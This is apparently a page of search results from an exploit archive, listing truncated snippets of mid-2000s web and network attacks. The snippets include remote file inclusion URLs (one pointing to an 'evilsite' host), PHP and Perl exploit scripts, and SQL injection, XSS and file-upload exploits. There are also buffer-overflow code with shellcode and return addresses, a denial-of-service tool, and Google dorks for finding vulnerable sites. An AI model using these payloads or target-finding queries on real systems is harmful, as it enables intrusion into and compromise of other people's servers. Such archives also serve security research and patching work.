5857 matches found
phpbb2include.txt
Title: phpBB2 Remote File Include Credit: Canberx Thanx: Forewer-Partizan Mail: [email protected] www.canberx.tk Google Dork: Powered by phpBB © 2001, 2002 phpBB Group Exploit: www.target.com/pathtophpbb/template.php?page=attacker Plz Don't Hacked site if it already has been defaced :...
pppBlog 0.3.8 - System Disclosure
pppBlog 0.3.8 - System Disclosure !/usr/bin/php -q -d shortopentag=on ? echo "pppBlog = 0.3.8 system disclosure exploit\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n\r\n"; echo "dork: intext:"Powered by pppblog"\r\n\r\n"; / works with:...
RealVNC 4.1.0 - 4.1.1 (Null Authentication) Auth Bypass Exploit (meta)
No description provided by source. This file is part of the Metasploit Framework and may be redistributed according to the licenses defined in the Authors field below. In the case of an unknown or missing license, this file defaults to the same license as the core Framework dual GPLv2 and Artisti...
Gphotos Directory Traversal and Cross Site Scripting
Details The first vulnerability issue is due to an input validation error in "index.php" "diapo.php" and "affich.php" scripts that do not validate "rep","image" variables, which may be exploited to cross site scripting attacks. http://traget/index.php?rep=xss http://traget/diapo.php?rep=xss...
DMCounter092b.txt
Script: DMCounter Version: 0.9.2-b Language: PHP Problem: Remote File Include Vendor: http://sourceforge.net/projects/dmcounter Discovered by: beford Description ============= Statistics software based on PHP which does not require any database support but just uses flat files. Daily + monthly...
X7 Chat <= 2.0 (help_file) Remote Commands Execution Exploit
No description provided by source. !/usr/bin/php -q -d shortopentag=on ? echo "X7 Chat =2.0 "helpfile" arbitrary local inclusion\r\n"; echo "by rgod [email protected]\r\n"; echo "site: http://retrogod.altervista.org\r\n"; echo "- works regardless of magicquotesgpc settings\r\n"; echo " if avatar...
Invision Power Board 2.1.5 - from_contact SQL Injection
Invision Power Board 2.1.5 - fromcontact SQL Injection !/usr/bin/perl IPB =2.1.4 exploit possibly 2.1.5 too Brought to you by the Ykstortion security team. The bug is in the pm system so you must have a registered user. The exploit will extract a password hash from the forum's data base of the...
Invision Power Board <= 2.1.5 (from_contact) SQL Injection Exploit
Exploit for unknown platform in category web applications ================================================================== Invision Power Board = 2.1.5 fromcontact SQL Injection Exploit ================================================================== !/usr/bin/perl IPB =2.1.4 exploit possibly...
Invision Power Board 2.1.5 - 'from_contact' SQL Injection
!/usr/bin/perl IPB =2.1.4 exploit possibly 2.1.5 too Brought to you by the Ykstortion security team. The bug is in the pm system so you must have a registered user. The exploit will extract a password hash from the forum's data base of the target user. You need to know the target user's member ID...
axoverzicht.cgi<==Remote File Inclusion
foud by::::.CrAzY CrAcKeR.::::: Site: http://www.alshmokh.com nono225-mHOn-rageh-port-Lover hacker-Breeeeh -------example: http://target.com/path/axoverzicht.cgi?maand=http://evilsite --------google: inurl:"axoverzicht.cgi?maand";...
Linpha 1.1.0 - XSS Vulnerabilities
Linpha 1.1.0 - XSS Vulnerabilities -------------------------------------------------------- Software: Linpha Version: 1.1.0 Type: Cross Site Scripting Vulnerability Date: Mon Apr 17 22:59:39 CEST 2006 Vendor: The LinPHA developers Page: http://linpha.sourceforge.net/ Risc: Low credits:...
panic-reloaded TCP Denial of Service Tool
No description provided by source. / ----------------------------------------------------------------------------- / \ / / / / / / / / / / / / / / / / / // / / // / / / / // // // / / / / / / // // ,/ ,/ // / Security Community...
XHP CMS <= 0.5 (upload) Remote Command Execution Exploit
Exploit for unknown platform in category web applications ======================================================== XHP CMS = 0.5 upload Remote Command Execution Exploit ======================================================== !/usr/bin/php -q -d shortopentag=on ? echo "XHP CMS = 0.5 remote cmmnds...
Mini-Nuke<=1.8.2 SQL injection (6)
//mini-nuke board turk have many sql injection founded by Moroccan Security Team //Creetz to: Moroccan Security Team Dr.E-vil,Dr.Erase,H0550N,|ucifer,DaBDouB-MoSiKaR OverclockiX,ki11er ,Dranzelz,Esp!onLeRaVaGe,ameer,www.lezr.com and all muslim morocco 1...
Update Protection against A Format String Vulnerability in mod_auth_pgsql for Apache
A vulnerability exists in multiple versions of an authentication module modauthpgsql for Apache httpd. To exploit this vulnerability, a user can supply specially crafted information to trigger a flaw in certain logging functions of the module. Successful exploitation could result in the execution...
FCKEditor 2.0 2.2 - FileManager connector.php Arbitrary File Upload
FCKEditor 2.0 2.2 - FileManager connector.php Arbitrary File Upload a short explaination: if a user cam call directly http://target/path/editor/filemanager/browser/default/connectors/php/connector.php he can upload malicious contempt on a target server, including arbitrary php code, and launch...
CVE-2006-0573
Multiple cross-site scripting XSS vulnerabilies in cPanel 10 and earlier allow remote attackers to inject arbitrary web script or HTML via the 1 email parameter to a editquota.html or b dodelpop.html; 2 showtree parameter to c diskusage.html; or the 3 mon, 4 year, 5 target, or 6 domain parameter ...
eXchange POP3 5.0.050203 (rcpt to) Remote Buffer Overflow Exploit
Exploit for unknown platform in category remote exploits ================================================================= eXchange POP3 5.0.050203 rcpt to Remote Buffer Overflow Exploit ================================================================= !/usr/bin/perl -w for educational purposes...
eXchange POP3 5.0.050203 - RPCT TO Remote Buffer Overflow
!/usr/bin/perl -w for educational purposes only . use IO::Socket; if $ARGV0 print "\n write the target IP!! \n\n"; exit; $buffer2 = "\x90"x1999999; $mailf= "mail"; $rcptt ="rcpt to:"; $buffer = "\x41"x4100; $ret = "\x80\x1d\xdc\x02"; $shellcode =...
Sami FTP Server 2.0.1 Remote Buffer Overflow Exploit (cpp)
No description provided by source. // Two includes. include fstream.h include winsock2.h // Project - Settings - Link Object/Library modules 'Ws232.lib' pragma commentlib, "ws232" char MyShellCode = // XOR by \x99\x99\x99\x99. "\xD9\xEE\xD9\x74\x24\xF4\x5B\x31\xC9\xB1\x59\x81\x73\x17\x99\x99"...